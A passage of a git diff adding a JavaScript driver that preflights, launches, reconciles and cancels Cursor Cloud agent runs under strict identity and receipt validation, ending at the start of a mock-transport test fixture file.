'dispatch_uncertain', + model: identity.model, + agent_id: extras.agent_id, + provider_run_id: extras.provider_run_id, + request_id: extras.request_id, + branch: extras.branch, + repository_identity: extras.repository_identity, + created: true, + dispatch_intent: true, + }); + return driverResult('launch', identity, 'dispatch_uncertain'); +} + +function assertExactRunBinding(receipt, record, path) { + if (record.agent_id !== undefined) { + const agentId = assertPatternedId( + optOwn(receipt, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, `${path}.agent_id`, 'agent_id', + ); + if (agentId !== record.agent_id) { + fail('stale_identity_denied', `${path}.agent_id`, + 'Receipt agent_id must match the exact recorded Cursor Cloud agent.'); + } + } + if (record.provider_run_id !== undefined && hasOwn(receipt, 'provider_run_id')) { + const runId = assertPatternedId( + optOwn(receipt, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, `${path}.provider_run_id`, 'provider_run_id', + ); + if (runId !== record.provider_run_id) { + fail('stale_identity_denied', `${path}.provider_run_id`, + 'Receipt provider_run_id must match the exact recorded Cursor Cloud run.'); + } + } + if (record.request_id !== undefined && hasOwn(receipt, 'request_id')) { + const requestId = assertPatternedId( + optOwn(receipt, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, `${path}.request_id`, 'request_id', + ); + if (requestId !== record.request_id) { + fail('stale_identity_denied', `${path}.request_id`, + 'Receipt request_id must match the exact recorded Cursor Cloud request identity.'); + } + } +} + +function projectEvents(events, path) { + if (events === undefined) return capturedFreeze([]); + assertDenseJsonArray(events, path); + if (events.length > MAX_CURSOR_CLOUD_EVENT_PAGE) { + fail('invalid_format', path, + `${path} must contain at most ${MAX_CURSOR_CLOUD_EVENT_PAGE} event records.`); + } + const projected = []; + for (let index = 0; index < events.length; index += 1) { + const entryPath = `${path}[${index}]`; + const entry = events[index]; + assertDirectJsonClosure(entry, entryPath); + assertPlainObject(entry, 'malformed_receipt', entryPath, entryPath); + assertAllowedKeys(entry, EVENT_RECORD_KEYS, entryPath); + const kind = optOwn(entry, 'kind'); + if (!capturedIncludes(CURSOR_CLOUD_EVENT_KINDS, kind)) { + fail('invalid_format', `${entryPath}.kind`, + `${entryPath}.kind must be one of ${capturedJoin(CURSOR_CLOUD_EVENT_KINDS, ', ')}.`); + } + const bytes = optOwn(entry, 'bytes'); + if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_CURSOR_CLOUD_EVENT_BYTES) { + fail('invalid_format', `${entryPath}.bytes`, + `${entryPath}.bytes must be a bounded non-negative integer.`); + } + ARRAY_PUSH.call(projected, freezeData({ kind, bytes })); + } + return capturedFreeze(projected); +} + +function projectProgress(progress, path) { + if (progress === undefined) return undefined; + assertDirectJsonClosure(progress, path); + assertPlainObject(progress, 'malformed_receipt', path, path); + assertAllowedKeys(progress, PROGRESS_KEYS, path); + return detachFrozenJson(progress); +} + +function projectAttention(attention, path) { + if (attention === undefined) return undefined; + assertDirectJsonClosure(attention, path); + assertPlainObject(attention, 'malformed_receipt', path, path); + assertAllowedKeys(attention, ATTENTION_KEYS, path); + const questionId = optOwn(attention, 'question_id'); + assertBoundedText(questionId, { + min: 1, max: MAX_CURSOR_CLOUD_QUESTION_ID_BYTES, path: `${path}.question_id`, label: 'question_id', + }); + return freezeData({ question_id: questionId }); +} + +function projectGitEvidence(receipt, identity, path) { + const startingSha = hasOwn(receipt, 'starting_sha') + ? assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`) + : identity.starting_sha; + const evidence = { + starting_sha: startingSha, + }; + if (hasOwn(receipt, 'head_sha')) { + evidence.head_sha = assertCommitSha(optOwn(receipt, 'head_sha'), `${path}.head_sha`); + } + if (hasOwn(receipt, 'merge_base_sha')) { + evidence.merge_base_sha = assertCommitSha(optOwn(receipt, 'merge_base_sha'), `${path}.merge_base_sha`); + } + if (hasOwn(receipt, 'branch')) { + evidence.branch = assertPatternedId( + optOwn(receipt, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, `${path}.branch`, 'branch', + ); + } + if (hasOwn(receipt, 'linear_history')) { + const linear = optOwn(receipt, 'linear_history'); + if (linear !== true && linear !== false) { + fail('malformed_receipt', `${path}.linear_history`, + `${path}.linear_history must be an exact boolean when present.`); + } + evidence.linear_history = linear; + } + if (hasOwn(receipt, 'repository_identity')) { + evidence.repository_identity = assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ); + } + return freezeData(evidence); +} + +function requireTerminalGitEvidence(git, identity, path) { + if (git.head_sha === undefined || git.branch === undefined || git.merge_base_sha === undefined) { + fail('malformed_receipt', path, + 'Terminal Cursor Cloud evidence requires independently verifiable head, merge-base, and branch identity.'); + } + if (git.starting_sha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Terminal Git evidence starting SHA does not match the immutable pinned commit.'); + } + if (git.merge_base_sha !== identity.starting_sha && git.merge_base_sha !== git.head_sha) { + fail('stale_identity_denied', `${path}.merge_base_sha`, + 'Terminal merge-base must equal the pinned starting SHA or the observed head; the adapter claims no extra ancestry.'); + } +} + +function runPreflight(store, request) { + const view = validateDriverPreflightRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (laneMayHaveSent(prior)) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a Cursor Cloud prompt may have been dispatched; reconcile or cancel instead.'); + } + const probe = transportIdentityRequest(identity); + assertNoContentKeys(probe, 'cursor_cloud_transport.preflight.request'); + let receipt; + try { + receipt = callTransport(store, 'preflight', probe); + } catch (error) { + void error; + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('transport_unavailable')); + } + assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); + assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + if (optOwn(receipt, 'credential_bearing') === true) { + fail('repository_credentials', 'transport.preflight.result.credential_bearing', + 'Cursor Cloud repository identity must not carry credentials, query, or fragment data.'); + } + if (optOwn(receipt, 'duplicate_identities') === true) { + fail('duplicate_identity', 'transport.preflight.result.duplicate_identities', + 'Cursor Cloud preflight reported ambiguous duplicate agent or run identities.'); + } + if (optOwn(receipt, 'auto_create_pr') === true) { + fail('merge_authority_denied', 'transport.preflight.result.auto_create_pr', + 'Cursor Cloud preflight must not authorize automatic PR creation.'); + } + const ok = optOwn(receipt, 'ok'); + if (ok === true) { + if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { + fail('detail_pair_denied', 'transport.preflight.result.detail_code', + 'A ready Cursor Cloud preflight receipt must not carry a detail pair.'); + } + const requested = assertExactModel( + optOwn(receipt, 'requested_model'), 'transport.preflight.result.requested_model', + ); + const effective = assertExactModel( + optOwn(receipt, 'effective_model'), 'transport.preflight.result.effective_model', + ); + if (requested !== identity.model || effective !== identity.model) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('model_unattested')); + } + assertCommitSha(optOwn(receipt, 'starting_sha'), 'transport.preflight.result.starting_sha'); + assertCommitSha(optOwn(receipt, 'head_sha'), 'transport.preflight.result.head_sha'); + if (optOwn(receipt, 'head_sha') !== identity.starting_sha + || optOwn(receipt, 'starting_sha') !== identity.starting_sha) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('base_advanced')); + } + if (optOwn(receipt, 'workspace_clean') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('workspace_dirty')); + } + if (optOwn(receipt, 'starting_ref_commit') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invalid')); + } + if (optOwn(receipt, 'starting_ref_visible') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invisible')); + } + const repositoryIdentity = assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), 'transport.preflight.result.repository_identity', + ); + assertRepositoryUrl(optOwn(receipt, 'repository_url'), 'transport.preflight.result.repository_url'); + putLane(store, identity, { + state: 'ready', + model: identity.model, + repository_identity: repositoryIdentity, + repository_url: optOwn(receipt, 'repository_url'), + requested_model: requested, + effective_model: effective, + }); + return driverResult('preflight', identity, 'ready'); + } + if (ok !== false) { + fail('malformed_receipt', 'transport.preflight.result.ok', + 'transport.preflight.result.ok must be an exact boolean.'); + } + const blockedCode = hasOwn(receipt, 'detail_code') ? optOwn(receipt, 'detail_code') : 'preflight_blocked'; + if (typeof blockedCode !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, blockedCode)) { + fail('invalid_format', 'transport.preflight.result.detail_code', + 'transport.preflight.result.detail_code violates the bounded detail-code grammar.'); + } + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail(blockedCode)); +} + +function runLaunch(store, request) { + const view = validateDriverLaunchRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + assertLaneIdentity(prior, identity, 'driver.launch.request'); + if (prior === undefined || (prior.state !== 'ready' && prior.state !== 'not_sent')) { + if (prior !== undefined && prior.created === true) { + fail('replay_denied', 'driver.launch.request', + 'A previous Cursor Cloud launch may have sent the prompt; the lane is never replayed or fallback-substituted.'); + } + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact Cursor Cloud child identity.'); + } + if (prior.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked Cursor Cloud preflight cannot launch; the lane fails closed with no fallback.'); + } + + const proposed = proposedAgentId(identity); + let createInvoked = false; + let agentId; + let repositoryIdentity = prior.repository_identity; + try { + const createRequest = transportIdentityRequest(identity, { + proposed_agent_id: proposed, + repository_url: prior.repository_url, + auto_create_pr: false, + }); + assertNoContentKeys(createRequest, 'cursor_cloud_transport.create.request'); + if (optOwn(createRequest, 'auto_create_pr') !== false) { + fail('merge_authority_denied', 'cursor_cloud_transport.create.request.auto_create_pr', + 'Cursor Cloud create must send auto_create_pr false; automatic PR creation is prohibited.'); + } + createInvoked = true; + const created = callTransport(store, 'create', createRequest); + assertClosedReceipt(created, CREATE_RECEIPT_KEYS, 'transport.create.result'); + if (optOwn(created, 'created') !== true) { + fail('malformed_receipt', 'transport.create.result.created', + 'transport.create.result.created must be exactly true.'); + } + assertReceiptIdentity(created, identity, 'transport.create.result'); + agentId = assertPatternedId( + optOwn(created, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.create.result.agent_id', 'agent_id', + ); + if (hasOwn(created, 'repository_identity')) { + repositoryIdentity = assertRepositoryIdentity( + optOwn(created, 'repository_identity'), 'transport.create.result.repository_identity', + ); + } + } catch (error) { + if (createInvoked || isPostIntentFailure(error)) { + return markUncertain(store, identity, { repository_identity: repositoryIdentity }); + } + putLane(store, identity, { state: 'not_sent', model: identity.model }); + return driverResult('launch', identity, 'not_sent', { + detail_code: typeof error?.code === 'string' && capturedTest(DETAIL_CODE_PATTERN, error.code) + ? error.code : 'transport_unavailable', + detail_message: boundedDiagnosticMessage('transport_unavailable', + 'Cursor Cloud create failed before intent; no prompt was dispatched.'), + }); + } + + putLane(store, identity, { + state: 'created', + model: identity.model, + agent_id: agentId, + repository_identity: repositoryIdentity, + created: true, + dispatch_intent: true, + }); + + const requestId = bindRequestId(identity, agentId); + try { + const sendRequest = detachFrozenJson({ + ...transportIdentityRequest(identity, { + agent_id: agentId, + request_id: requestId, + auto_create_pr: false, + }), + envelope_text: view.request.envelope_text, + }); + const ack = callTransport(store, 'send', sendRequest); + assertClosedReceipt(ack, SEND_RECEIPT_KEYS, 'transport.send.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } + assertReceiptIdentity(ack, identity, 'transport.send.result'); + const ackAgent = assertPatternedId( + optOwn(ack, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.send.result.agent_id', 'agent_id', + ); + if (ackAgent !== agentId) { + fail('stale_identity_denied', 'transport.send.result.agent_id', + 'Send acknowledgement agent_id must match the created Cursor Cloud agent.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, 'transport.send.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.send.result.request_id', + 'Send acknowledgement request_id must match the exact dispatch attempt.'); + } + const providerRunId = assertPatternedId( + optOwn(ack, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, + 'transport.send.result.provider_run_id', 'provider_run_id', + ); + const branch = assertPatternedId( + optOwn(ack, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, 'transport.send.result.branch', 'branch', + ); + const ackRepo = hasOwn(ack, 'repository_identity') + ? assertRepositoryIdentity(optOwn(ack, 'repository_identity'), 'transport.send.result.repository_identity') + : repositoryIdentity; + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + agent_id: ackAgent, + provider_run_id: providerRunId, + request_id: ackRequestId, + branch, + repository_identity: ackRepo, + created: true, + dispatch_intent: true, + acknowledged: true, + }); + return driverResult('launch', identity, 'dispatched'); + } catch (error) { + void error; + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } +} + +function observeLane(store, identity, record, include) { + const extras = { include: [...include] }; + if (record.agent_id !== undefined) extras.agent_id = record.agent_id; + if (record.provider_run_id !== undefined) extras.provider_run_id = record.provider_run_id; + if (record.request_id !== undefined) extras.request_id = record.request_id; + const observeRequest = transportIdentityRequest(identity, extras); + assertNoContentKeys(observeRequest, 'cursor_cloud_transport.observe.request'); + const receipt = callTransport(store, 'observe', observeRequest); + assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result'); + assertExactRunBinding(receipt, record, 'transport.observe.result'); + const status = optOwn(receipt, 'status'); + if (!capturedIncludes(CURSOR_CLOUD_OBSERVE_STATUSES, status)) { + fail('invalid_format', 'transport.observe.result.status', + `transport.observe.result.status must be one of ${capturedJoin(CURSOR_CLOUD_OBSERVE_STATUSES, ', ')}.`); + } + if (hasOwn(receipt, 'elapsed_ms')) { + const elapsed = optOwn(receipt, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_CURSOR_CLOUD_TIMING_MS) { + fail('invalid_format', 'transport.observe.result.elapsed_ms', + 'elapsed_ms must be a bounded millisecond timing.'); + } + } + if (hasOwn(receipt, 'event_count')) { + const count = optOwn(receipt, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_CURSOR_CLOUD_EVENT_COUNT) { + fail('invalid_format', 'transport.observe.result.event_count', + 'event_count must be a bounded integer count.'); + } + } + if (hasOwn(receipt, 'cursor')) { + assertPatternedId(optOwn(receipt, 'cursor'), CURSOR_CLOUD_CURSOR_PATTERN, + 'transport.observe.result.cursor', 'event cursor'); + } + const git = projectGitEvidence(receipt, identity, 'transport.observe.result'); + const events = capturedIncludes(include, 'detailed_events') + ? projectEvents(optOwn(receipt, 'events'), 'transport.observe.result.events') + : capturedFreeze([]); + const progress = capturedIncludes(include, 'live_progress') + ? projectProgress(optOwn(receipt, 'progress'), 'transport.observe.result.progress') + : undefined; + const attention = projectAttention(optOwn(receipt, 'attention'), 'transport.observe.result.attention'); + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) { + requireTerminalGitEvidence(git, identity, 'transport.observe.result'); + } + return capturedFreeze({ + receipt, + status, + git, + events, + progress, + attention, + agent_id: optOwn(receipt, 'agent_id'), + provider_run_id: optOwn(receipt, 'provider_run_id'), + request_id: optOwn(receipt, 'request_id'), + branch: hasOwn(receipt, 'branch') ? optOwn(receipt, 'branch') : record.branch, + }); +} + +function reconcileDisposition(status) { + if (status === 'needs_attention') return 'unresolved_attention'; + if (status === 'lost') return 'dispatch_uncertain'; + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) return 'terminal'; + return 'in_progress'; +} + +function latchedTerminalResult(operation, identity, record) { + const extras = operation === 'reconcile' && record.terminal_detail + ? record.terminal_detail + : {}; + return driverResult(operation, identity, 'terminal', extras); +} + +function runReconcile(store, request) { + const view = validateDriverReconcileRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.created !== true) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing Cursor Cloud dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.reconcile.request'); + const include = view.include ?? capturedFreeze([]); + const latched = hasTerminalLatch(prior); + + if (view.intent === 'restart_reattach' && !latched) { + if (prior.agent_id === undefined || prior.request_id === undefined) { + fail('stale_identity_denied', 'driver.reconcile.request.intent', + 'restart_reattach requires the exact recorded agent and request identity and never relaunches.'); + } + const reattachRequest = transportIdentityRequest(identity, { + agent_id: prior.agent_id, + provider_run_id: prior.provider_run_id, + request_id: prior.request_id, + }); + assertNoContentKeys(reattachRequest, 'cursor_cloud_transport.reattach.request'); + const reattached = callTransport(store, 'reattach', reattachRequest); + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Cursor Cloud run; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result'); + assertExactRunBinding(reattached, prior, 'transport.reattach.result'); + const agentId = assertPatternedId( + optOwn(reattached, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.reattach.result.agent_id', 'agent_id', + ); + putLane(store, identity, { ...prior, agent_id: agentId, reattached: true }); + } + + if (latched) { + putLane(store, identity, { + ...prior, + state: capturedIncludes(TERMINAL_LATCH_STATES, prior.state) ? prior.state : 'terminal', + terminal_latch: true, + }); + return latchedTerminalResult('reconcile', identity, prior); + } + + const observed = observeLane(store, identity, getLane(store, identity), include); + const current = getLane(store, identity); + const disposition = current.state === 'dispatch_uncertain' && observed.status === 'lost' + ? 'dispatch_uncertain' + : reconcileDisposition(observed.status); + const nextState = disposition === 'unresolved_attention' ? 'unresolved_attention' + : disposition === 'terminal' ? 'terminal' + : disposition === 'dispatch_uncertain' ? 'dispatch_uncertain' + : 'in_progress'; + const terminalDetail = nextState === 'terminal' + ? capturedFreeze({ + detail_code: 'terminal_evidence', + detail_message: boundedDiagnosticMessage('terminal_evidence', + `status=${observed.status} branch=${observed.git.branch} head=${observed.git.head_sha}`), + }) + : undefined; + const attentionDetail = nextState === 'unresolved_attention' + ? capturedFreeze({ + detail_code: 'unresolved_attention', + detail_message: boundedDiagnosticMessage('unresolved_attention', + 'same-session reply is unsupported; the question remains unresolved evidence'), + }) + : undefined; + putLane(store, identity, { + ...current, + state: nextState, + evidence: freezeData({ + schema: CURSOR_CLOUD_EVIDENCE_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + agent_id: observed.agent_id ?? current.agent_id ?? null, + provider_run_id: observed.provider_run_id ?? current.provider_run_id ?? null, + request_id: observed.request_id ?? current.request_id ?? null, + branch: observed.branch ?? current.branch ?? null, + git: observed.git, + events: observed.events, + progress: observed.progress ?? null, + attention: observed.attention ?? null, + status: observed.status, + evidence_truncated: false, + }), + last_status: observed.status, + agent_id: observed.agent_id ?? current.agent_id, + provider_run_id: observed.provider_run_id ?? current.provider_run_id, + request_id: observed.request_id ?? current.request_id, + branch: observed.branch ?? current.branch, + terminal_latch: nextState === 'terminal', + terminal_detail: terminalDetail, + }); + if (nextState === 'unresolved_attention') { + return driverResult('reconcile', identity, disposition, attentionDetail); + } + if (nextState === 'terminal') { + return driverResult('reconcile', identity, disposition, terminalDetail); + } + if (capturedIncludes(include, 'live_progress') && observed.progress !== undefined) { + return driverResult('reconcile', identity, disposition, { + detail_code: 'live_progress', + detail_message: boundedDiagnosticMessage('live_progress', + `status=${observed.status} events=${observed.progress.event_count ?? 0}`), + }); + } + return driverResult('reconcile', identity, disposition); +} + +function runCancel(store, request) { + const view = validateDriverCancelRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.created !== true) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing Cursor Cloud dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.cancel.request'); + if (hasTerminalLatch(prior)) { + putLane(store, identity, { ...prior, state: 'already_terminal', terminal_latch: true }); + return driverResult('cancel', identity, 'already_terminal', { + detail_code: 'already_terminal', + detail_message: boundedDiagnosticMessage('already_terminal', 'outcome=already_terminal'), + }); + } + if (prior.agent_id === undefined) { + fail('stale_identity_denied', 'driver.cancel.request', + 'Cursor Cloud cancellation requires the exact recorded agent identity; refusing to cancel an arbitrary run.'); + } + const cancelRequest = transportIdentityRequest(identity, { + agent_id: prior.agent_id, + provider_run_id: prior.provider_run_id, + request_id: prior.request_id, + }); + assertNoContentKeys(cancelRequest, 'cursor_cloud_transport.cancel.request'); + const receipt = callTransport(store, 'cancel', cancelRequest); + assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result'); + assertExactRunBinding(receipt, prior, 'transport.cancel.result'); + const outcome = optOwn(receipt, 'outcome'); + if (!capturedIncludes(CURSOR_CLOUD_CANCEL_OUTCOMES, outcome)) { + fail('invalid_format', 'transport.cancel.result.outcome', + `transport.cancel.result.outcome must be one of ${capturedJoin(CURSOR_CLOUD_CANCEL_OUTCOMES, ', ')}.`); + } + const archived = optOwn(receipt, 'archived'); + if (archived !== true && archived !== false) { + fail('malformed_receipt', 'transport.cancel.result.archived', + 'transport.cancel.result.archived must be an exact boolean.'); + } + const archiveCode = archived === true ? 'archive_confirmed' : 'archive_failed'; + if (outcome === 'cancel_requested') { + putLane(store, identity, { + ...prior, + state: 'cancel_requested', + cancel_outcome: outcome, + archived, + terminal_latch: false, + }); + return driverResult('cancel', identity, 'cancel_requested', { + detail_code: 'cancel_requested', + detail_message: boundedDiagnosticMessage('cancel_requested', `outcome=cancel_requested archived=${archived}`), + }); + } + putLane(store, identity, { + ...prior, + state: outcome, + cancel_outcome: outcome, + archived, + terminal_latch: true, + }); + return driverResult('cancel', identity, outcome, { + detail_code: outcome === 'already_terminal' ? 'already_terminal' : archiveCode, + detail_message: boundedDiagnosticMessage(archiveCode, `outcome=${outcome} archived=${archived}`), + }); +} + +export function createCursorCloudDriverV1(transport) { + assertCursorCloudTransportV1(transport); + const handlers = capturedCreate(null); + for (const operation of CURSOR_CLOUD_TRANSPORT_OPERATIONS) { + const handler = capturedDescriptor(transport, operation)?.value; + capturedDefineProperty(handlers, operation, { + value: handler, + enumerable: true, + configurable: false, + writable: false, + }); + } + OBJECT_FREEZE(handlers); + const store = { + transport, + handlers, + lanes: new MAP_CTOR(), + }; + const driver = capturedCreate(null); + capturedDefineProperty(driver, 'preflight', { + value: (request) => runPreflight(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'launch', { + value: (request) => runLaunch(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'reconcile', { + value: (request) => runReconcile(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'cancel', { + value: (request) => runCancel(store, request), + enumerable: true, configurable: false, writable: false, + }); + OBJECT_FREEZE(driver); + DRIVER_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindCursorCloudDriverV1(transport) { + const driver = createCursorCloudDriverV1(transport); + const bound = bindProviderDriverV1(driver, cursorCloudDriverDeclarationV1()); + DRIVER_STORES.set(bound, DRIVER_STORES.get(driver)); + return bound; +} + +export function inspectCursorCloudLaneEvidenceV1(driver, query) { + const path = 'cursor_cloud_evidence.query'; + if (query === undefined || query === null) { + fail('invalid_type', path, `${path} must be a plain evidence query object.`); + } + assertDirectJsonClosure(query, path); + assertPlainObject(query, 'invalid_type', path, path); + assertAllowedKeys(query, EVIDENCE_QUERY_KEYS, path); + for (const key of ['run_id', 'assignment_id', 'child_envelope_digest']) { + if (!hasOwn(query, key)) fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + const digest = assertDigest(optOwn(query, 'child_envelope_digest'), `${path}.child_envelope_digest`); + const store = storeFor(driver); + const record = store.lanes.get(laneKey(optOwn(query, 'run_id'), optOwn(query, 'assignment_id'))); + if (record === undefined || !digestsEqual(record.identity.child_envelope_digest, digest)) { + fail('stale_identity_denied', path, + 'No Cursor Cloud evidence is stored for this exact child identity.'); + } + if (record.evidence === undefined) { + return freezeData({ + schema: CURSOR_CLOUD_EVIDENCE_SCHEMA_ID, + run_id: record.identity.run_id, + assignment_id: record.identity.assignment_id, + child_envelope_digest: record.identity.child_envelope_digest, + agent_id: record.agent_id ?? null, + provider_run_id: record.provider_run_id ?? null, + request_id: record.request_id ?? null, + branch: record.branch ?? null, + git: null, + events: capturedFreeze([]), + progress: null, + attention: null, + status: record.last_status ?? null, + evidence_truncated: false, + }); + } + return record.evidence; +} + +export function describeCursorCloudDriverV1() { + const declaration = cursorCloudDriverDeclarationV1(); + return capturedFreeze({ + schema: CURSOR_CLOUD_DRIVER_SCHEMA_ID, + version: CURSOR_CLOUD_DRIVER_VERSION, + provider: CURSOR_CLOUD_PROVIDER_SLOT, + driver_operations: capturedFreeze([...DRIVER_OPERATIONS]), + transport_schema: CURSOR_CLOUD_TRANSPORT_SCHEMA_ID, + transport_operations: capturedFreeze([...CURSOR_CLOUD_TRANSPORT_OPERATIONS]), + capability: declaration.capability, + features: declaration.features, + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'prohibited', + confirmation_rule: 'launch_dispatched_only_after_authoritative_sdk_run_identity', + post_intent_loss_rule: 'exception_timeout_or_loss_after_create_or_send_returns_dispatch_uncertain_never_replayed', + live_qualification: false, + durable_store: false, + supervisor_cutover: false, + claims: capturedFreeze({ + durable_run_store: false, + live_transport_qualification: false, + merge_or_pr_authority: false, + real_transport_configured: false, + replay_or_fallback: false, + same_session_reply: false, + supervisor_cutover: false, + }), + bounds: capturedFreeze({ + event_page: MAX_CURSOR_CLOUD_EVENT_PAGE, + event_bytes: MAX_CURSOR_CLOUD_EVENT_BYTES, + event_count: MAX_CURSOR_CLOUD_EVENT_COUNT, + timing_ms: MAX_CURSOR_CLOUD_TIMING_MS, + cursor_pattern: CURSOR_CLOUD_CURSOR_PATTERN.source, + }), + identities: capturedFreeze([ + 'provider', 'model', 'requested_model', 'effective_model', 'run_id', + 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'agent_id', 'provider_run_id', + 'request_id', 'branch', + ]), + observe_statuses: capturedFreeze([...CURSOR_CLOUD_OBSERVE_STATUSES]), + cancel_outcomes: capturedFreeze([...CURSOR_CLOUD_CANCEL_OUTCOMES]), + detail_codes: capturedFreeze([...CURSOR_CLOUD_DETAIL_CODES]), + later_real_cursor_cloud_route: capturedFreeze({ + preflight: 'inspect clean local checkout, credential-free origin, and pinned pushed SHA without creating an agent', + create: 'Agent.create with autoCreatePR false and the exact repository/starting SHA', + send: 'agent.send with a stable request/idempotency id; treat as dispatched only after agent/run/request identity', + observe: 'getRun plus independently verifiable Git/branch/base evidence; never copy envelope bytes into diagnostics', + cancel: 'cancel the exact recorded run and report archive truthfully', + reattach: 'recover the exact recorded agent/run/request identity with no new prompt', + forbidden: capturedFreeze([ + 'cli_fallback_after_send', 'digest_only_launch', 'create_pr', 'merge_or_push', + 'post_intent_retry', 'provider_or_model_substitution', 'same_session_reply', + ]), + }), + feature_values: DRIVER_FEATURE_VALUES, + }); +} + +capturedFreeze(assertCursorCloudTransportV1); +capturedFreeze(createCursorCloudDriverV1); +capturedFreeze(bindCursorCloudDriverV1); +capturedFreeze(inspectCursorCloudLaneEvidenceV1); +capturedFreeze(describeCursorCloudDriverV1); +capturedFreeze(cursorCloudDriverDeclarationV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs new file mode 100644 index 0000000..a19786f --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs @@ -0,0 +1,222 @@ +// Deterministic injected Cursor Cloud SDK transport for P21 tests. +// Records closed operation requests and plays scripted receipts or failures. +// This is not a live Cursor Cloud client and never touches the network. + +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; + +export const CLOUD_FIXTURE_BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const CLOUD_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-cursor-cloud/suite'; +export const CLOUD_FIXTURE_RUN_ID = 'cursor-cloud-driver-suite'; +export const CLOUD_FIXTURE_ASSIGNMENT_ID = 'cloud-lane'; +export const 